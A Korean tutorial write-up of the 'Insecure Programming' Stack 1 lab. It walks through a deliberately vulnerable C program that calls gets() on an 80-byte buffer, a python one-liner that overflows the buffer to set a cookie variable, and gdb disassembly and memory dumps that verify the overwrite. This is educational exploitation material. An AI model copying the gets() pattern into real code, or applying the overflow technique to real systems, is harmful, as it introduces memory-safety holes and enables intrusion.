Insecure Programming by example
Stack 1
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if(cookie == 0x41424344)
printf("you win!\n");
}
cookie
변수 값이 0x41424344인 경우 you win!
을 출력하는 프로그램 소스 코드이다. 하지만 정상적인 프로그램 사용을 통해서 cookie
값에 값을 삽입할 수 있는 방법은 존재하지 않으므로 buf[80]
배열에 값을 넘치게 삽입하여 cookie
변수 값을 조작해야 한다.
$ echo `python -c "print 'a'*80+'DCBA'"`| ./stack1.exe
buf: 0028fe6c cookie: 0028febc
you win!
위와 같이 python을 이용하여 임의의 문자 80개를 삽입한 후 cookie
변수 값에 넣을 값 지정하면 쉽게 해결할 수 있다.
주의할 점은 리틀엔디언 방식으로 문자를 역순으로 넣어주어야한다는 점이다.
추가적으로 심볼 파일을 생성하거나 gdb를 통해서 어셈블리어 구성을 살펴보자. 간단한 코드로 특이 사항은 없으므로 간단히 눈으로 읽고 지나쳐도 좋다.
gcc -S -masm=intel -O3 -o stack1.s ./stack1.c
Non-debugging symbols:
0x00000000 __deregister_frame_info
0x00000000 __register_frame_info
0x00401520 __gcc_register_frame
0x004015d0 __gcc_deregister_frame
0x00401600 main
0x004027e0 register_frame_ctor
0x004027f0 _CTOR_LIST__
0x004027fc _DTOR_LIST__
(gdb) b main
Breakpoint 1 at 0x401603
(gdb) set disassembly-flavor intel
(gdb) run
Starting program: D:\011. ETC\deadbits\stack1.exe
[New Thread 4344.0x282c]
Breakpoint 1, 0x00401603 in main ()
(gdb) disas
Dump of assembler code for function main:
0x00401600 <+0>: push ebp
0x00401601 <+1>: mov ebp,esp
=> 0x00401603 <+3>: and esp,0xfffffff0
0x00401606 <+6>: sub esp,0x70
0x00401609 <+9>: call 0x4017d0 <__main>
0x0040160e <+14>: lea eax,[esp+0x6c]
0x00401612 <+18>: mov DWORD PTR [esp+0x8],eax
0x00401616 <+22>: lea eax,[esp+0x1c]
0x0040161a <+26>: mov DWORD PTR [esp+0x4],eax
0x0040161e <+30>: mov DWORD PTR [esp],0x404044
0x00401625 <+37>: call 0x4026d4 <printf>
0x0040162a <+42>: lea eax,[esp+0x1c]
0x0040162e <+46>: mov DWORD PTR [esp],eax
0x00401631 <+49>: call 0x4026ec <gets>
0x00401636 <+54>: mov eax,DWORD PTR [esp+0x6c]
0x0040163a <+58>: cmp eax,0x41424344
0x0040163f <+63>: jne 0x40164d <main+77>
0x00401641 <+65>: mov DWORD PTR [esp],0x40405c
0x00401648 <+72>: call 0x4026cc <puts>
0x0040164d <+77>: mov eax,0x0
0x00401652 <+82>: leave
0x00401653 <+83>: ret
0x00401654 <+84>: xchg ax,ax
0x00401656 <+86>: xchg ax,ax
0x00401658 <+88>: xchg ax,ax
0x0040165a <+90>: xchg ax,ax
0x0040165c <+92>: xchg ax,ax
0x0040165e <+94>: xchg ax,ax
End of assembler dump.
(gdb) p/d 0x6c -0x1c
$3 = 80
get
함수의 인자 값인 buf
배열의 주소가 [esp+0x1c]
이고 cookie
변수의 주소가 [esp+0x6c]
이므로 두 변수의 차 0x50(80)만큼 임의의 값을 채우면 cookie
변수에 값을 삽입할 수 있음을 예상할 수 있다.
이제 브레이크 포인트를 설정하여 실제 메모리 수정을 확인해보자.
(gdb) b *main+58
Breakpoint 4 at 0x40163a
(gdb) run
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaDCBA
Breakpoint 4, 0x0040163a in main ()
(gdb) x/32x $esp
0x28fe50: 0x0028fe6c 0x0028fe6c 0x0028febc 0x00401687
0x28fe60: 0x00401740 0x75883021 0x0028fe70 0x61616161
0x28fe70: 0x61616161 0x61616161 0x61616161 0x61616161
0x28fe80: 0x61616161 0x61616161 0x61616161 0x61616161
0x28fe90: 0x61616161 0x61616161 0x61616161 0x61616161
0x28fea0: 0x61616161 0x61616161 0x61616161 0x61616161
0x28feb0: 0x61616161 0x61616161 0x61616161 0x41424344
0x28fec0: 0x00000000 0x008d178c 0x0028ff88 0x004013eb
(gdb) p/x $esp+0x1c
$5 = 0x28fe6c
(gdb) p/x $esp+0x6c
$6 = 0x28febc
(gdb) c
Continuing.
buf: 0028fe6c cookie: 0028febc
you win!
전체 목록 보기 : Insecure programming
진행 환경 : Windows7 MSYS32